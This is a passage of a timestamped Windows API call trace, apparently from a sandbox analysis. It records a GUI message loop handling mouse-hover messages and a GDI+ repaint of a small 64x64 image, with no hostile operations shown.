(nVirtKey=4) returned 0 [0136.038] GetKeyState (nVirtKey=5) returned 0 [0136.038] GetKeyState (nVirtKey=6) returned 0 [0136.038] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.038] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.038] WaitMessage () returned 1 [0136.064] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02f7) returned 0x1 [0136.064] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.064] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be02f7) returned 0x1 [0136.064] SetCursor (hCursor=0x10003) returned 0x10003 [0136.064] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.064] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.064] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9500a0) returned 0x0 [0136.064] GetKeyState (nVirtKey=1) returned 0 [0136.064] GetKeyState (nVirtKey=2) returned 0 [0136.064] GetKeyState (nVirtKey=4) returned 0 [0136.064] GetKeyState (nVirtKey=5) returned 0 [0136.064] GetKeyState (nVirtKey=6) returned 0 [0136.064] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.065] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.065] WaitMessage () returned 1 [0136.092] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.092] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be0301) returned 0x1 [0136.093] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.093] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.093] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be0301) returned 0x1 [0136.093] SetCursor (hCursor=0x10003) returned 0x10003 [0136.093] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.093] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.093] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9500aa) returned 0x0 [0136.093] GetKeyState (nVirtKey=1) returned 0 [0136.093] GetKeyState (nVirtKey=2) returned 0 [0136.093] GetKeyState (nVirtKey=4) returned 0 [0136.093] GetKeyState (nVirtKey=5) returned 0 [0136.093] GetKeyState (nVirtKey=6) returned 0 [0136.093] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.093] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.093] WaitMessage () returned 1 [0136.105] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.105] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be030b) returned 0x1 [0136.105] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.105] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.105] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be030b) returned 0x1 [0136.105] SetCursor (hCursor=0x10003) returned 0x10003 [0136.106] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.106] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.106] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9500b4) returned 0x0 [0136.106] GetKeyState (nVirtKey=1) returned 0 [0136.106] GetKeyState (nVirtKey=2) returned 0 [0136.106] GetKeyState (nVirtKey=4) returned 0 [0136.106] GetKeyState (nVirtKey=5) returned 0 [0136.106] GetKeyState (nVirtKey=6) returned 0 [0136.106] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.106] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.106] WaitMessage () returned 1 [0136.126] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.126] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be0315) returned 0x1 [0136.126] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.126] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.126] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be0315) returned 0x1 [0136.126] SetCursor (hCursor=0x10003) returned 0x10003 [0136.126] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.126] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.126] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9500be) returned 0x0 [0136.127] GetKeyState (nVirtKey=1) returned 0 [0136.127] GetKeyState (nVirtKey=2) returned 0 [0136.127] GetKeyState (nVirtKey=4) returned 0 [0136.127] GetKeyState (nVirtKey=5) returned 0 [0136.127] GetKeyState (nVirtKey=6) returned 0 [0136.127] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.127] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.127] WaitMessage () returned 1 [0136.178] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.178] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.178] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.178] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.178] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.178] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0136.178] GetCurrentThreadId () returned 0xec0 [0136.178] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0136.178] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.178] IsWindowUnicode (hWnd=0x2031e) returned 1 [0136.178] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.178] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.178] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.179] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0136.179] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0136.179] CreateCompatibleDC (hdc=0x3010b83) returned 0x6e0107cb [0136.179] SelectObject (hdc=0x6e0107cb, h=0x1a05067e) returned 0x185000f [0136.179] GdipCreateFromHDC (hdc=0x6e0107cb, graphics=0x15daf0) returned 0x0 [0136.179] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0136.179] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0136.179] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0136.179] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0136.180] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0136.180] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.180] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0136.180] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.180] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.180] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0136.181] GdipCreateRegion (region=0x15dc20) returned 0x0 [0136.181] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0136.181] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0136.181] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0136.181] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.181] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.181] GetSystemMetrics (nIndex=42) returned 0 [0136.181] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.181] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.181] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.181] CoTaskMemFree (pv=0x1e7ac120) [0136.181] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0136.182] GdipCreateRegion (region=0x15d710) returned 0x0 [0136.182] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0136.182] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0136.182] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0136.182] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0136.182] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.182] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.183] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.183] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0136.183] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0136.183] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0136.183] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0136.184] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.184] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0136.184] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0136.184] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0136.184] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0136.184] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.184] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0136.184] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0136.184] GetCurrentObject (hdc=0x6e0107cb, type=0x1) returned 0x1b00017 [0136.185] GetCurrentObject (hdc=0x6e0107cb, type=0x2) returned 0x1900010 [0136.185] GetCurrentObject (hdc=0x6e0107cb, type=0x7) returned 0x1a05067e [0136.185] GetCurrentObject (hdc=0x6e0107cb, type=0x6) returned 0x18a002e [0136.185] SaveDC (hdc=0x6e0107cb) returned 1 [0136.185] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x75040b8a [0136.185] GetClipRgn (hdc=0x6e0107cb, hrgn=0x75040b8a) returned 0 [0136.185] SelectClipRgn (hdc=0x6e0107cb, hrgn=0xffffffffa50407c3) returned 2 [0136.185] DeleteObject (ho=0x75040b8a) returned 1 [0136.186] DeleteObject (ho=0xffffffffa50407c3) returned 1 [0136.186] OffsetViewportOrgEx (in: hdc=0x6e0107cb, x=0, y=0, lppt=0x27ff9c0 | out: lppt=0x27ff9c0) returned 1 [0136.186] GetNearestColor (hdc=0x6e0107cb, color=0xffffff) returned 0xffffff [0136.186] CreateSolidBrush (color=0xffffff) returned 0x7d100190 [0136.186] FillRect (hDC=0x6e0107cb, lprc=0x15d7c0, hbr=0x7d100190) returned 1 [0136.186] DeleteObject (ho=0x7d100190) returned 1 [0136.186] RestoreDC (hdc=0x6e0107cb, nSavedDC=-1) returned 1 [0136.186] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.187] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6e0107cb) returned 0x0 [0136.187] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcec0dbd) returned 0x0 [0136.187] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.188] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0136.188] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0136.188] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0136.188] GetSystemMetrics (nIndex=42) returned 0 [0136.188] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0136.188] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0136.188] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0136.188] CoTaskMemFree (pv=0x1e7ac120) [0136.188] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0136.190] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0136.190] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0136.191] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0136.191] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0136.191] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x6e0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0136.191] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.191] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6e0107cb) returned 0x0 [0136.191] SelectObject (hdc=0x6e0107cb, h=0x185000f) returned 0x1a05067e [0136.191] DeleteDC (hdc=0x6e0107cb) returned 1 [0136.191] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0136.192] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0136.192] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0136.192] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0136.192] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.192] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be031f) returned 0x1 [0136.192] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.192] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.192] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be031f) returned 0x1 [0136.192] SetCursor (hCursor=0x10003) returned 0x10003 [0136.192] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.192] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.192] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9500c8) returned 0x0 [0136.192] GetKeyState (nVirtKey=1) returned 0 [0136.193] GetKeyState (nVirtKey=2) returned 0 [0136.193] GetKeyState (nVirtKey=4) returned 0 [0136.193] GetKeyState (nVirtKey=5) returned 0 [0136.193] GetKeyState (nVirtKey=6) returned 0 [0136.193] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.193] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.193] WaitMessage () returned 1 [0136.210] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.210] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be0329) returned 0x1 [0136.210] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.210] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.210] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be0329) returned 0x1 [0136.210] SetCursor (hCursor=0x10003) returned 0x10003 [0136.210] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.210] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.211] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9500d2) returned 0x0 [0136.211] GetKeyState (nVirtKey=1) returned 0 [0136.211] GetKeyState (nVirtKey=2) returned 0 [0136.211] GetKeyState (nVirtKey=4) returned 0 [0136.211] GetKeyState (nVirtKey=5) returned 0 [0136.211] GetKeyState (nVirtKey=6) returned 0 [0136.211] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.211] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.211] WaitMessage () returned 1 [0136.220] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.220] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be0333) returned 0x1 [0136.220] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.220] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.220] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be0333) returned 0x1 [0136.220] SetCursor (hCursor=0x10003) returned 0x10003 [0136.220] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.220] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.220] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9500dc) returned 0x0 [0136.221] GetKeyState (nVirtKey=1) returned 0 [0136.221] GetKeyState (nVirtKey=2) returned 0 [0136.221] GetKeyState (nVirtKey=4) returned 0 [0136.221] GetKeyState (nVirtKey=5) returned 0 [0136.221] GetKeyState (nVirtKey=6) returned 0 [0136.221] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.221] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.221] WaitMessage () returned 1 [0136.243] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.243] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be033d) returned 0x1 [0136.243] IsWindowUnicode (hWnd=0x20312) returned 1 [0136.244] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.244] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1be033d) returned 0x1 [0136.244] SetCursor (hCursor=0x10003) returned 0x10003 [0136.244] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.244] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.244] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x9500e6) returned 0x0 [0136.244] GetKeyState (nVirtKey=1) returned 0 [0136.244] GetKeyState (nVirtKey=2) returned 0 [0136.244] GetKeyState (nVirtKey=4) returned 0 [0136.244] GetKeyState (nVirtKey=5) returned 0 [0136.244] GetKeyState (nVirtKey=6) returned 0 [0136.244] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.245] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.245] WaitMessage () returned 1 [0136.290] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.290] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1be0347) returned 0x1 [0136.291] IsWindowUnicode (hWnd=0x702f6) returned 1 [0136.291] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.291] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.291] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.291] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0136.291] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.291] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1be0347) returned 0x1 [0136.291] IsWindowUnicode (hWnd=0x702f6) returned 1 [0136.291] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.291] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1be0347) returned 0x1 [0136.291] SetCursor (hCursor=0x10003) returned 0x10003 [0136.291] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.291] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.291] _TrackMouseEvent (in: lpEventTrack=0x2713060 | out: lpEventTrack=0x2713060) returned 1 [0136.292] SendMessageW (hWnd=0x702f6, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0136.292] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0136.292] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x200, wParam=0x0, lParam=0xa100fc) returned 0x0 [0136.292] GetKeyState (nVirtKey=1) returned 0 [0136.292] GetKeyState (nVirtKey=2) returned 0 [0136.292] GetKeyState (nVirtKey=4) returned 0 [0136.292] GetKeyState (nVirtKey=5) returned 0 [0136.292] GetKeyState (nVirtKey=6) returned 0 [0136.292] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.292] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.292] WaitMessage () returned 1 [0136.311] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0136.311] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1be0351) returned 0x1 [0136.312] IsWindowUnicode (hWnd=0x702f6) returned 1 [0136.312] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0136.312] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1be0351) returned 0x1 [0136.312] SetCursor (hCursor=0x10003) returned 0x10003 [0136.312] TranslateMessage (lpMsg=0x15e910) returned 0 [0136.312] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0136.312] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x200, wParam=0x0, lParam=0xa10106) returned 0x0 [0136.312] GetKeyState (nVirtKey=1) returned 0 [0136.312] GetKeyState (nVirtKey=2) returned 0 [0136.312] GetKeyState (nVirtKey=4) returned 0 [0136.312] GetKeyState (nVirtKey=5) returned 0 [0136.312] GetKeyState (nVirtKey=6) returned 0 [0136.312] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.312] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.312] WaitMessage () returned 1 [0136.329] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0136.329] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 